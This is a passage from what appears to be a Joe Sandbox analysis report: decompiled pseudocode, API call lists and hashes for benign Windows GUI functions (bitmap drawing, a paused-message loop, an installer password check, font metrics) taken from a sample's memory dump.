					if((_t57 & 0x00000020) == 0 ||  *((char*)( *((intOrPtr*)(_t106 + 0x10)) + 0x25)) != 1 ||  *((intOrPtr*)( *((intOrPtr*)(_t106 + 0x10)) + 8)) == 0 || E0040CD04( *((intOrPtr*)( *((intOrPtr*)(_t106 + 0x10)) + 8))) == 0) {
						goto L9;
					} else {
						_t58 = 0;
					}
				} else {
					L9:
					_t58 = 1;
				}
				_v13 = _t58;
				_t127 =  *((intOrPtr*)(_t106 + 0x10));
				_t122 =  *0x41d13c; // 0xf
				E0041B230(_v8, _t107, _t122, _t127);
				E0041D320(_t106);
				_v12 = 0;
				_v14 = 0;
				_t64 =  *((intOrPtr*)(_t127 + 0x10));
				if(_t64 != 0) {
					_push(1);
					_push(_t64);
					_t93 =  *(_v8 + 4);
					_push(_t93);
					L00405E2C();
					_v12 = _t93;
					_push( *(_v8 + 4));
					L00405DEC();
					_v14 = 1;
				}
				_push(_t131);
				_push(0x41d12d);
				_push( *[fs:ecx]);
				 *[fs:ecx] = _t133;
				if(_v13 == 0) {
					StretchDIBits( *(_v8 + 4),  *_t129, _t129[1], _t129[2] -  *_t129, _t129[3] - _t129[1], 0, 0,  *(_t127 + 0x14),  *(_t127 + 0x18),  *(_t127 + 0x20),  *(_t127 + 0x1c), 0,  *(_v8 + 0x20));
				} else {
					_t74 = E0041D198(_t106, 0, _t122);
					_t125 =  *0x41d13c; // 0xf
					E0041B230(_t74, 0, _t125, _t127);
					_t81 = E0041D198(_t106, 0, _t125);
					StretchBlt(E0041B15C(_v8),  *_t129, _t129[1], _t129[2] -  *_t129, _t129[3] - _t129[1],  *(_t81 + 4), 0, 0,  *(_t127 + 0x14),  *(_t127 + 0x18),  *(_v8 + 0x20));
				}
				_pop(_t124);
				 *[fs:eax] = _t124;
				_push(0x41d134);
				if(_v14 != 0) {
					_push(1);
					_push(_v12);
					_t72 =  *(_v8 + 4);
					_push(_t72);
					L00405E2C();
					return _t72;
				}
				return 0;
			}

0x0041cfa0
0x0041cfa1
0x0041cfa3
0x0041cfa9
0x0041cfab
0x0041cfae
0x0041cfb9
0x0041cfc6
0x0041cfc6
0x0041cfcf
0x0041cfda
0x0041cfdf
0x0041cfe4
0x0041cfe5
0x0041cfed
0x00000000
0x0041d010
0x0041d010
0x0041d010
0x0041d014
0x0041d014
0x0041d014
0x0041d014
0x0041d016
0x0041d019
0x0041d01c
0x0041d025
0x0041d02c
0x0041d033
0x0041d036
0x0041d03a
0x0041d03f
0x0041d041
0x0041d043
0x0041d047
0x0041d04a
0x0041d04b
0x0041d050
0x0041d059
0x0041d05a
0x0041d05f
0x0041d05f
0x0041d065
0x0041d066
0x0041d06b
0x0041d06e
0x0041d075
0x0041d102
0x0041d077
0x0041d079
0x0041d07e
0x0041d084
0x0041d09e
0x0041d0c4
0x0041d0c4
0x0041d109
0x0041d10c
0x0041d10f
0x0041d118
0x0041d11a
0x0041d11f
0x0041d123
0x0041d126
0x0041d127
0x00000000
0x0041d127
0x0041d12c

APIs

SetStretchBltMode.GDI32(00000000,00000003), ref: 0041CFC6
740BAD70.GDI32(00000000,00000026), ref: 0041CFE5
740BB410.GDI32(?,?,00000001,00000000,00000026), ref: 0041D04B
740BB150.GDI32(?,?,?,00000001,00000000,00000026), ref: 0041D05A
StretchBlt.GDI32(00000000,?,?,?,?,?,00000000,00000000,00000000,?,?), ref: 0041D0C4
StretchDIBits.GDI32(?,?,?,?,?,00000000,00000000,00000000,?,?,?,00000000,?), ref: 0041D102
740BB410.GDI32(?,?,00000001,0041D134,00000000,00000026), ref: 0041D127

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Stretch$B410$B150BitsMode
String ID:
API String ID: 1142175050-0
Opcode ID: 1aa12a6cbd08d8255b6eb8068d6bae64d2c5071c0f10fac204963572875c048a
Instruction ID: 205027aeaf3ec0e52080f5777dc3b0bf9e1b7b1a1eecc77d6eedf305108e6316
Opcode Fuzzy Hash: 1aa12a6cbd08d8255b6eb8068d6bae64d2c5071c0f10fac204963572875c048a
Instruction Fuzzy Hash: 4B514CB0A00204BFDB14DFA9C995F9BBBE8EF08304F108599B544D7292C779ED81CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0045525C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103
windowCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E0045525C(int __eax, void* __ebx, long __ecx, char __edx, void* __edi, void* __esi, char* _a4) {
				char _v5;
				char _v6;
				char _v12;
				intOrPtr _v16;
				struct tagMSG _v44;
				char _v48;
				struct HWND__* _t31;
				intOrPtr _t33;
				intOrPtr _t42;
				void* _t46;
				char _t47;
				intOrPtr _t51;
				char* _t61;
				intOrPtr _t68;
				intOrPtr _t73;
				void* _t80;
				void* _t81;
				intOrPtr _t82;

				_t80 = _t81;
				_t82 = _t81 + 0xffffffd4;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v48 = 0;
				_v12 = 0;
				_t78 = __ecx;
				_v5 = __edx;
				_t76 = __eax;
				_t61 = _a4;
				_push(_t80);
				_push(0x4553c6);
				_push( *[fs:eax]);
				 *[fs:eax] = _t82;
				_v6 = 0;
				 *_t61 = 0;
				if( *0x48deec == 0) {
					L10:
					_pop(_t68);
					 *[fs:eax] = _t68;
					_push(0x4553cd);
					E00403548( &_v48);
					return E00403548( &_v12);
				} else {
					 *0x48df00 = 0;
					_t31 =  *0x48def8; // 0x0
					if(SendMessageA(_t31, __eax, 0, __ecx) == 0) {
						goto L10;
					} else {
						_v6 = 1;
						_t33 =  *0x48d628; // 0x2162410
						E00424344(_t33,  &_v12);
						_v16 = E0041EF6C(0, _t61, _t76, _t78);
						_push(_t80);
						_push(0x455374);
						_push( *[fs:eax]);
						 *[fs:eax] = _t82;
						E004035DC( &_v48, "[Paused] ");
						E004036C4( &_v48, _v12);
						_t42 =  *0x48d628; // 0x2162410
						E0042438C(_t42, _v48, _t76);
						while( *0x48df00 == 0) {
							_t46 = GetMessageA( &_v44, 0, 0, 0) - 0xffffffff;
							if(_t46 != 0) {
								if(_t46 == 1) {
									PostQuitMessage(_v44.wParam);
								} else {
									TranslateMessage( &_v44);
									DispatchMessageA( &_v44);
									continue;
								}
							}
							break;
						}
						_t47 =  *0x48df01; // 0x0
						 *_t61 = _t47;
						_pop(_t73);
						 *[fs:eax] = _t73;
						_push(0x45537b);
						E0041F020(_v16);
						_t51 =  *0x48d628; // 0x2162410
						return E0042438C(_t51, _v12, _t76);
					}
				}
			}

0x0045525d
0x0045525f
0x00455262
0x00455263
0x00455264
0x00455267
0x0045526a
0x0045526d
0x0045526f
0x00455272
0x00455274
0x00455279
0x0045527a
0x0045527f
0x00455282
0x00455285
0x00455289
0x00455293
0x004553a8
0x004553aa
0x004553ad
0x004553b0
0x004553b8
0x004553c5
0x00455299
0x00455299
0x004552a8
0x004552b5
0x00000000
0x004552bb
0x004552bb
0x004552c2
0x004552c7
0x004552d3
0x004552d8
0x004552d9
0x004552de
0x004552e1
0x004552ec
0x004552f7
0x004552ff
0x00455304
0x00455341
0x0045531a
0x0045531d
0x00455320
0x00455328
0x00455322
0x00455333
0x0045533c
0x00000000
0x0045533c
0x00455320
0x00000000
0x0045531d
0x0045534a
0x0045534f
0x00455353
0x00455356
0x00455359
0x00455361
0x00455369
0x00455373
0x00455373
0x004552b5

APIs

SendMessageA.USER32 ref: 004552AE

Part of subcall function 00424344: GetWindowTextA.USER32 ref: 00424364

Part of subcall function 0041EF6C: GetCurrentThreadId.KERNEL32 ref: 0041EFBB
Part of subcall function 0041EF6C: 740BAC10.USER32(00000000,0041EF1C,00000000,00000000,0041EFD8,?,00000000,0041F00F,?,00000000,00000000,02162410), ref: 0041EFC1

Part of subcall function 0042438C: SetWindowTextA.USER32(?,00000000), ref: 004243A4

GetMessageA.USER32 ref: 00455315
TranslateMessage.USER32(?), ref: 00455333
DispatchMessageA.USER32 ref: 0045533C

Strings

[Paused] , xrefs: 004552E4

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Message$TextWindow$CurrentDispatchSendThreadTranslate
String ID: [Paused]
API String ID: 3744435275-4230553315
Opcode ID: 30f2530590a24191f7504455738b6e68ed9f6331a58c559f63864f9203593cc7
Instruction ID: d4d559e98c01fd19c9158a949e1c4478d2f8558c4a66ba59e997b8cb75d2eadd
Opcode Fuzzy Hash: 30f2530590a24191f7504455738b6e68ed9f6331a58c559f63864f9203593cc7
Instruction Fuzzy Hash: 7031D330904648AECB01DBB5DC51BAEBBB8EB09314F50447BEC04E3292D7789909CB29

Uniqueness

Uniqueness Score: -1.00%

Function 00464794 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 99
sleepCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00464794(void* __ebx, void* __ecx, void* __edi, struct HICON__* __esi, void* __eflags, void* __fp0, intOrPtr _a4) {
				char _v8;
				char _v12;
				char _v16;
				intOrPtr _t40;
				intOrPtr _t41;
				intOrPtr _t44;
				struct HICON__* _t56;
				intOrPtr _t68;
				void* _t73;
				intOrPtr _t81;
				void* _t91;
				void* _t101;

				_t101 = __fp0;
				_t88 = __esi;
				_t87 = __edi;
				_push(__esi);
				_push(__edi);
				_v8 = 0;
				_push(_t91);
				_push(0x4648d3);
				_push( *[fs:eax]);
				 *[fs:eax] = _t91 + 0xfffffff4;
				_t73 = 0;
				E00414BB0( *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x218)),  &_v8, __eflags);
				if(( *0x4ae17d & 0x00000020) != 0) {
					_t73 = E0046EF68(_v8);
				}
				if(_t73 == 0) {
					_t96 =  *0x4ae290;
					if( *0x4ae290 != 0) {
						_v16 = _v8;
						_v12 = 0xb;
						_t68 =  *0x4ae290; // 0x2188110
						_t73 = E00487B3C(_t68,  &_v16, "CheckPassword", _t96, _t101, _t73, 0, 0);
					}
				}
				if(_t73 == 0) {
					_t40 =  *((intOrPtr*)(_a4 - 4));
					__eflags =  *((char*)(_t40 + 0x37));
					if( *((char*)(_t40 + 0x37)) != 0) {
						_t56 = GetCursor();
						_t88 = _t56;
						SetCursor(LoadCursorA(0, 0x7f02));
						Sleep(0x2ee);
						SetCursor(_t56);
					}
					_t41 =  *0x48dcc4; // 0x2179528
					E00473ECC(_t41, _t73, 2, 0, _t87, _t88, 1, 1, 0);
					_t44 =  *((intOrPtr*)(_a4 - 4));
					__eflags =  *((char*)(_t44 + 0x37));
					if( *((char*)(_t44 + 0x37)) != 0) {
						__eflags = 0;
						E00414BE0( *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x218)), _t73, 0, _t87, _t88);
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x218)))) + 0x78))();
					}
				} else {
					 *0x4ae24c = 0;
					if(( *0x4ae181 & 0x00000002) != 0) {
						E00403598(E004663E4() + 0x138, _t73, _v8, _t87, _t88);
					}
					E00414BE0( *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x218)), _t73, 0, _t87, _t88);
				}
				_pop(_t81);
				 *[fs:eax] = _t81;
				_push(0x4648da);
				return E00403548( &_v8);
			}

0x00464794
0x00464794
0x00464794
0x0046479b
0x0046479c
0x0046479f
0x004647a4
0x004647a5
0x004647aa
0x004647ad
0x004647b0
0x004647c1
0x004647cd
0x004647d7
0x004647d7
0x004647db
0x004647dd
0x004647e4
0x004647ee
0x004647f1
0x004647fd
0x00464807
0x00464807
0x004647e4
0x0046480b
0x00464847
0x0046484a
0x0046484e
0x00464850
0x00464855
0x00464864
0x0046486e
0x00464874
0x00464874
0x00464883
0x00464888
0x00464890
0x00464893
0x00464897
0x004648a5
0x004648a7
0x004648ba
0x004648ba
0x0046480d
0x0046480d
0x0046481b
0x0046482a
0x0046482a
0x0046483d
0x0046483d
0x004648bf
0x004648c2
0x004648c5
0x004648d2

APIs

GetCursor.USER32(00000000,004648D3), ref: 00464850
LoadCursorA.USER32 ref: 0046485E
SetCursor.USER32(00000000,00000000,00007F02,00000000,004648D3), ref: 00464864
Sleep.KERNEL32(000002EE,00000000,00000000,00007F02,00000000,004648D3), ref: 0046486E
SetCursor.USER32(00000000,000002EE,00000000,00000000,00007F02,00000000,004648D3), ref: 00464874

Strings

CheckPassword, xrefs: 004647F8

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Cursor$LoadSleep
String ID: CheckPassword
API String ID: 4023313301-1302249611
Opcode ID: 18e40c631363f873b59ed07b8397dca0b357b36b41a77fd912bff81ad102a300
Instruction ID: eac744777a8890470a5a55a98f652c6345ef9197b5cde8571231044706295a57
Opcode Fuzzy Hash: 18e40c631363f873b59ed07b8397dca0b357b36b41a77fd912bff81ad102a300
Instruction Fuzzy Hash: FD318634644244AFE700EB69C88AB9D7BE5AF45304F5580B6B8049B3E2D778AE40CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041C210 Relevance: 10.6, APIs: 7, Instructions: 70
windowCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E0041C210(struct HBITMAP__* __eax, void* __ebx, struct tagBITMAPINFO* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, void* _a8) {
				char _v5;
				intOrPtr _v12;
				struct HDC__* _v16;
				struct HDC__* _v20;
				struct HDC__* _t23;
				intOrPtr _t31;
				struct HDC__* _t34;
				struct tagBITMAPINFO* _t37;
				intOrPtr _t44;
				void* _t46;
				struct HBITMAP__* _t48;
				void* _t51;

				_t37 = __ecx;
				_t46 = __edx;
				_t48 = __eax;
				E0041C110(__eax, _a4, __ecx);
				_v12 = 0;
				_v16 = GetFocus();
				_t23 = _v16;
				_push(_t23);
				L0040602C();
				_v20 = _t23;
				_push(_t51);
				_push(0x41c2bb);
				_push( *[fs:eax]);
				 *[fs:eax] = _t51 + 0xfffffff0;
				if(_t46 != 0) {
					_push(0);
					_push(_t46);
					_t34 = _v20;
					_push(_t34);
					L00405E2C();
					_v12 = _t34;
					_push(_v20);
					L00405DEC();
				}
				_v5 = GetDIBits(_v20, _t48, 0, _t37->bmiHeader.biHeight, _a8, _t37, 0) != 0;
				_pop(_t44);
				 *[fs:eax] = _t44;
				_push(0x41c2c2);
				if(_v12 != 0) {
					_push(0);
					_push(_v12);
					_push(_v20);
					L00405E2C();
				}
				_push(_v20);
				_t31 = _v16;
				_push(_t31);
				L00406214();
				return _t31;
			}

0x0041c219
0x0041c21b
0x0041c21d
0x0041c226
0x0041c22d
0x0041c235
0x0041c238
0x0041c23b
0x0041c23c
0x0041c241
0x0041c246
0x0041c247
0x0041c24c
0x0041c24f
0x0041c254
0x0041c256
0x0041c258
0x0041c259
0x0041c25c
0x0041c25d
0x0041c262
0x0041c268
0x0041c269
0x0041c269
0x0041c287
0x0041c28d
0x0041c290
0x0041c293
0x0041c29c
0x0041c29e
0x0041c2a3
0x0041c2a7
0x0041c2a8
0x0041c2a8
0x0041c2b0
0x0041c2b1
0x0041c2b4
0x0041c2b5
0x0041c2ba

APIs

Part of subcall function 0041C110: GetObjectA.GDI32(?,00000018), ref: 0041C11D

GetFocus.USER32 ref: 0041C230
740BAC50.USER32(?), ref: 0041C23C
740BB410.GDI32(?,?,00000000,00000000,0041C2BB,?,?), ref: 0041C25D
740BB150.GDI32(?,?,?,00000000,00000000,0041C2BB,?,?), ref: 0041C269
GetDIBits.GDI32(?,?,00000000,?,?,?,00000000), ref: 0041C280
740BB410.GDI32(?,00000000,00000000,0041C2C2,?,?), ref: 0041C2A8
740BB380.USER32(?,?,0041C2C2,?,?), ref: 0041C2B5

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: B410$B150B380BitsFocusObject
String ID:
API String ID: 514114485-0
Opcode ID: eff73aa052735073d2a1768d693beb2cfd617a757480bb56e518bfc57315f513
Instruction ID: c2976d6cd85da84569e921dd34d174535c44734310ef376fe1b2036df50ccd9e
Opcode Fuzzy Hash: eff73aa052735073d2a1768d693beb2cfd617a757480bb56e518bfc57315f513
Instruction Fuzzy Hash: 65111A71A40604BBDB10EBE9CC85FAFB7FCEB48700F15486AB518E7281D67899408B68

Uniqueness

Uniqueness Score: -1.00%

Function 00418D1C Relevance: 10.6, APIs: 7, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 35%

			E00418D1C(void* __eax) {
				int _v8;
				intOrPtr _v12;
				char _v16;
				int _t15;
				intOrPtr _t17;
				intOrPtr _t21;
				int _t31;
				void* _t33;
				intOrPtr _t41;
				void* _t43;
				void* _t45;
				intOrPtr _t46;

				_t43 = _t45;
				_t46 = _t45 + 0xfffffff4;
				_t33 = __eax;
				if( *((short*)(__eax + 0x46)) == 0xffff) {
					return __eax;
				} else {
					_push(1);
					_push(1);
					_push(1);
					_push(GetSystemMetrics(0xe));
					_t15 = GetSystemMetrics(0xd);
					_push(_t15);
					L00409A6C();
					_v8 = _t15;
					_push(_t43);
					_push(0x418dd0);
					_push( *[fs:eax]);
					 *[fs:eax] = _t46;
					_t17 =  *0x48d62c; // 0x2160660
					E00409A8C(_v8, E00423434(_t17,  *((short*)(_t33 + 0x46))));
					_t21 =  *0x48d62c; // 0x2160660
					E00409A8C(_v8, E00423434(_t21,  *((short*)(_t33 + 0x46))));
					_push(0);
					_push(0);
					_push(0);
					_push(_v8);
					L00409AC0();
					_push( &_v16);
					_push(0);
					L00409AD0();
					_push(_v12);
					_push(_v16);
					_push(1);
					_push(_v8);
					L00409AC0();
					_pop(_t41);
					 *[fs:eax] = _t41;
					_push(0x418dd7);
					_t31 = _v8;
					_push(_t31);
					L00409A74();
					return _t31;
				}
			}

0x00418d1d
0x00418d1f
0x00418d23
0x00418d2a
0x00418ddb
0x00418d30
0x00418d30
0x00418d32
0x00418d34
0x00418d3d
0x00418d40
0x00418d45
0x00418d46
0x00418d4b
0x00418d50
0x00418d51
0x00418d56
0x00418d59
0x00418d60
0x00418d6f
0x00418d78
0x00418d87
0x00418d8c
0x00418d8e
0x00418d90
0x00418d95
0x00418d96
0x00418d9e
0x00418d9f
0x00418da1
0x00418da9
0x00418dad
0x00418dae
0x00418db3
0x00418db4
0x00418dbb
0x00418dbe
0x00418dc1
0x00418dc6
0x00418dc9
0x00418dca
0x00418dcf
0x00418dcf

APIs

GetSystemMetrics.USER32 ref: 00418D38
GetSystemMetrics.USER32 ref: 00418D40
6F527CB0.COMCTL32(00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,?), ref: 00418D46

Part of subcall function 00409A8C: 6F520620.COMCTL32(?,000000FF,00000000,00418D74,00000000,00418DD0,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,?), ref: 00409A90

6F57BC60.COMCTL32(?,00000000,00000000,00000000,00000000,00418DD0,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,?), ref: 00418D96
6F57B6C0.COMCTL32(00000000,?,?,00000000,00000000,00000000,00000000,00418DD0,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001), ref: 00418DA1
6F57BC60.COMCTL32(?,00000001,?,?,00000000,?,?,00000000,00000000,00000000,00000000,00418DD0,?,00000000,0000000D,00000000), ref: 00418DB4
6F527D50.COMCTL32(?,00418DD7,?,00000000,?,?,00000000,00000000,00000000,00000000,00418DD0,?,00000000,0000000D,00000000,0000000E), ref: 00418DCA

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: F527MetricsSystem$F520620
String ID:
API String ID: 3311124749-0
Opcode ID: f155504e81d06e82f2dd16528ef757ae6e0c395946e4153f22485fb8567b04d7
Instruction ID: 83ea1bba3dd754c4722f5a4351d59464f51687baf460525fc32cad82f283ec05
Opcode Fuzzy Hash: f155504e81d06e82f2dd16528ef757ae6e0c395946e4153f22485fb8567b04d7
Instruction Fuzzy Hash: 50118971B40244BBDB10EBA5DC83F5E73F8DB48704F5145AAB604FB2C2D5799D408B18

Uniqueness

Uniqueness Score: -1.00%

Function 00488244 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E00488244(struct HDC__* __eax, void* __ebx, long* __ecx, signed int* __edx, void* __edi, void* __esi, void* __eflags) {
				struct HDC__* _v8;
				struct tagSIZE _v16;
				struct tagTEXTMETRICA _v72;
				signed int _t25;
				signed int _t26;
				struct HDC__* _t32;
				intOrPtr _t41;
				long* _t43;
				signed int* _t45;
				void* _t48;

				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t43 = __ecx;
				_t45 = __edx;
				_push(0);
				L0040602C();
				_v8 = __eax;
				_push(_t48);
				_push(0x4882d0);
				_push( *[fs:eax]);
				 *[fs:eax] = _t48 + 0xffffffbc;
				SelectObject(_v8, E0041A2B0(__eax, __eax, __ecx, __ecx, __edx));
				GetTextExtentPointA(_v8, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", 0x34,  &_v16);
				asm("cdq");
				_t25 = _v16.cx / 0x1a + 1;
				_t26 = _t25 >> 1;
				if(_t25 < 0) {
					asm("adc eax, 0x0");
				}
				 *_t45 = _t26;
				GetTextMetricsA(_v8,  &_v72);
				 *_t43 = _v72.tmHeight;
				_pop(_t41);
				 *[fs:eax] = _t41;
				_push(E004882D7);
				_t32 = _v8;
				_push(_t32);
				_push(0);
				L00406214();
				return _t32;
			}

0x0048824a
0x0048824b
0x0048824c
0x0048824d
0x0048824f
0x00488253
0x00488255
0x0048825a
0x0048825f
0x00488260
0x00488265
0x00488268
0x00488277
0x0048828b
0x00488298
0x0048829b
0x0048829c
0x0048829e
0x004882a0
0x004882a0
0x004882a3
0x004882ad
0x004882b5
0x004882b9
0x004882bc
0x004882bf
0x004882c4
0x004882c7
0x004882c8
0x004882ca
0x004882cf

APIs

740BAC50.USER32(00000000,?,?,00000000), ref: 00488255

Part of subcall function 0041A2B0: CreateFontIndirectA.GDI32(?), ref: 0041A36F

SelectObject.GDI32(00000000,00000000), ref: 00488277
GetTextExtentPointA.GDI32(00000000,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz,00000034,004886A5), ref: 0048828B
GetTextMetricsA.GDI32(00000000,?), ref: 004882AD
740BB380.USER32(00000000,00000000,004882D7,004882D0,?,00000000,?,?,00000000), ref: 004882CA

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz, xrefs: 00488282

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Text$B380CreateExtentFontIndirectMetricsObjectPointSelect
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
API String ID: 3658053993-222967699
Opcode ID: e336c1ffe02ed2120a47a33971289be9318d51e85d146f97ddea82a5d36c50fb
Instruction ID: c86eba72dc87e027b10ab16d58a2fbe8e9f8e1ec00f713e495128ac661362904
Opcode Fuzzy Hash: e336c1ffe02ed2120a47a33971289be9318d51e85d146f97ddea82a5d36c50fb
Instruction Fuzzy Hash: 60016176A04608AFDB04EBE5CC41E5FB7ECDB48714F5104BAB604E72C1DA78AE108B28

Uniqueness

Uniqueness Score: -1.00%

Function 0041B52A Relevance: 10.6, APIs: 7, Instructions: 57
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041B52A() {
				void* _t40;
				void* _t43;
				void* _t44;

				if( *(_t44 - 0x10) != 0) {
					_t40 = SelectObject( *(_t44 - 0x18),  *(_t44 - 4));
					_t43 = SelectObject( *(_t44 - 0x1c),  *(_t44 - 0x10));
					StretchBlt( *(_t44 - 0x1c), 0, 0,  *(_t44 - 0xc),  *(_t44 - 8),  *(_t44 - 0x18), 0, 0,  *(_t44 - 0x30),  *(_t44 - 0x2c), 0xcc0020);
					if(_t40 != 0) {
						SelectObject( *(_t44 - 0x18), _t40);
					}
					if(_t43 != 0) {
						SelectObject( *(_t44 - 0x1c), _t43);
					}
				}
				DeleteDC( *(_t44 - 0x18));
				DeleteDC( *(_t44 - 0x1c));
				return  *(_t44 - 0x10);
			}

0x0041b52e
0x0041b53d
0x0041b54c
0x0041b573
0x0041b57a
0x0041b581
0x0041b581
0x0041b588
0x0041b58f
0x0041b58f
0x0041b588
0x0041b598
0x0041b5a1
0x0041b5af

APIs

SelectObject.GDI32(00000000,?), ref: 0041B538
SelectObject.GDI32(?,00000000), ref: 0041B547
StretchBlt.GDI32(?,00000000,00000000,0000000B,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0041B573
SelectObject.GDI32(00000000,00000000), ref: 0041B581
SelectObject.GDI32(?,00000000), ref: 0041B58F
DeleteDC.GDI32(00000000), ref: 0041B598
DeleteDC.GDI32(?), ref: 0041B5A1

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ObjectSelect$Delete$Stretch
String ID:
API String ID: 1458357782-0
Opcode ID: 515d24f70a0cf549d0b2e059984d3bdd84f91c0b7063a8e7fed934d78969567d
Instruction ID: aadd17d00576477065a1616842709b51dddc5215e8da7aa7bf7294541355b014
Opcode Fuzzy Hash: 515d24f70a0cf549d0b2e059984d3bdd84f91c0b7063a8e7fed934d78969567d
Instruction Fuzzy Hash: FE117872E00619ABDF50DBD9E885FAFB3FCEB08304F004515B614EB281C6789D418BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0042345C Relevance: 10.6, APIs: 7, Instructions: 56
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0042345C(long __eax, short __edx) {
				struct tagPOINT _v24;
				long _t7;
				long _t12;
				long _t19;
				struct HWND__* _t26;
				short _t27;
				void* _t29;
				struct tagPOINT* _t30;

				_t7 = __eax;
				_t30 = _t29 + 0xfffffff8;
				_t27 = __edx;
				_t19 = __eax;
